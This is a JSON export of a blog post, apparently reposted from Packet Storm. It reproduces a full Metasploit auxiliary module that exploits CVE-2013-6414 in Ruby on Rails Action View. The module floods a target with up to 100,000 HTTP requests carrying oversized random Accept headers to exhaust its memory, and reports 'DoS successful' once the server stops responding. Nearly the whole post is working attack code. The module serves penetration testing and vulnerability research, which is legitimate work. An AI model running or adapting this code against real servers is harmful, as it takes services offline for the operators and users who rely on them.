{"id":59279,"date":"2024-08-31T21:19:59","date_gmt":"2024-08-31T18:19:59","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180516\/rails_action_view.rb.txt"},"modified":"2024-08-31T21:19:59","modified_gmt":"2024-08-31T18:19:59","slug":"ruby-on-rails-action-view-mime-memory-exhaustion","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/ruby-on-rails-action-view-mime-memory-exhaustion\/","title":{"rendered":"Ruby on Rails Action View MIME Memory Exhaustion"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::Tcp<br \/>include Msf::Auxiliary::Dos<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Ruby on Rails Action View MIME Memory Exhaustion&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits a Denial of Service (DoS) condition in Action View that requires<br \/>a controller action. By sending a specially crafted content-type header to a Rails<br \/>application, it is possible for it to store the invalid MIME type, and may eventually<br \/>consume all memory if enough invalid MIMEs are given.<\/p>\n<p>Versions 3.0.0 and other later versions are affected, fixed in 4.0.2 and 3.2.16.<br \/>},<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;Toby Hsieh&#8217;, # Reported the issue<br \/>&#8216;joev&#8217;, # Metasploit<br \/>&#8216;sinn3r&#8217; # Metasploit<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[ &#8216;CVE&#8217;, &#8216;2013-6414&#8217; ],<br \/>[ &#8216;OSVDB&#8217;, &#8216;100525&#8217; ],<br \/>[ &#8216;BID&#8217;, &#8216;64074&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/seclists.org\/oss-sec\/2013\/q4\/400&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/rails\/rails\/commit\/bee3b7f9371d1e2ddcfe6eaff5dcb26c0a248068&#8217; ]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2013-12-04&#8217;))<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RPORT(80),<br \/>OptString.new(&#8216;URIPATH&#8217;, [true, &#8216;The URI that routes to a Rails controller action&#8217;, &#8216;\/&#8217;]),<br \/>OptInt.new(&#8216;MAXSTRINGSIZE&#8217;, [true, &#8216;Max string size&#8217;, 60000]),<br \/>OptInt.new(&#8216;REQCOUNT&#8217;, [true, &#8216;Number of HTTP requests to pipeline per connection&#8217;, 1]),<br \/>OptInt.new(&#8216;RLIMIT&#8217;, [true, &#8216;Number of requests to send&#8217;, 100000])<br \/>],<br \/>self.class)<br \/>end<\/p>\n<p>def host<br \/>host = datastore[&#8216;RHOST&#8217;]host += &#8220;:&#8221; + datastore[&#8216;RPORT&#8217;].to_s if datastore[&#8216;RPORT&#8217;] != 80<br \/>host<br \/>end<\/p>\n<p>def long_string<br \/>Rex::Text.rand_text_alphanumeric(datastore[&#8216;MAXSTRINGSIZE&#8217;])<br \/>end<\/p>\n<p>#<br \/># Returns a modified version of the URI that:<br \/># 1. Always has a starting slash<br \/># 2. Removes all the double slashes<br \/>#<br \/>def normalize_uri(*strs)<br \/>new_str = strs * &#8220;\/&#8221;<\/p>\n<p>new_str = new_str.gsub!(&#8220;\/\/&#8221;, &#8220;\/&#8221;) while new_str.index(&#8220;\/\/&#8221;)<\/p>\n<p># Makes sure there&#8217;s a starting slash<br \/>unless new_str.start_with?(&#8220;\/&#8221;)<br \/>new_str = &#8216;\/&#8217; + new_str<br \/>end<\/p>\n<p>new_str<br \/>end<\/p>\n<p>def http_request<br \/>uri = normalize_uri(datastore[&#8216;URIPATH&#8217;])<\/p>\n<p>http = &#8221;<br \/>http &lt;&lt; &#8220;GET #{uri} HTTP\/1.1\\r\\n&#8221;<br \/>http &lt;&lt; &#8220;Host: #{host}\\r\\n&#8221;<br \/>http &lt;&lt; &#8220;Accept: #{long_string}\\r\\n&#8221;<br \/>http &lt;&lt; &#8220;\\r\\n&#8221;<\/p>\n<p>http<br \/>end<\/p>\n<p>def run<br \/>begin<br \/>print_status(&#8220;Stressing the target memory, this will take quite some time&#8230;&#8221;)<br \/>datastore[&#8216;RLIMIT&#8217;].times { |i|<br \/>connect<br \/>datastore[&#8216;REQCOUNT&#8217;].times { sock.put(http_request) }<br \/>disconnect<br \/>}<\/p>\n<p>print_status(&#8220;Attack finished. Either the server isn&#8217;t vulnerable, or please dos harder.&#8221;)<br \/>rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout<br \/>print_status(&#8220;Unable to connect to #{host}.&#8221;)<br \/>rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error<br \/>print_good(&#8220;DoS successful. #{host} not responding. Out Of Memory condition probably reached.&#8221;)<br \/>ensure<br \/>disconnect<br \/>end<br \/>end<br \/>end<\/p>\n<p>=begin<\/p>\n<p>Reproduce:<\/p>\n<p>1. Add a def index; end to ApplicationController<br \/>2. Add an empty index.html.erb file to app\/views\/application\/index.html.erb<br \/>3. Uncomment the last line in routes.rb<br \/>4. Hit \/application<\/p>\n<p>=end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::Tcpinclude Msf::Auxiliary::Dos def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Ruby on Rails Action View MIME Memory Exhaustion&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits a Denial of Service (DoS) condition in Action View that requiresa controller action. By sending a specially crafted content-type header to a Railsapplication, &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59279","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59279","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59279"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59279\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59279"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59279"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59279"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}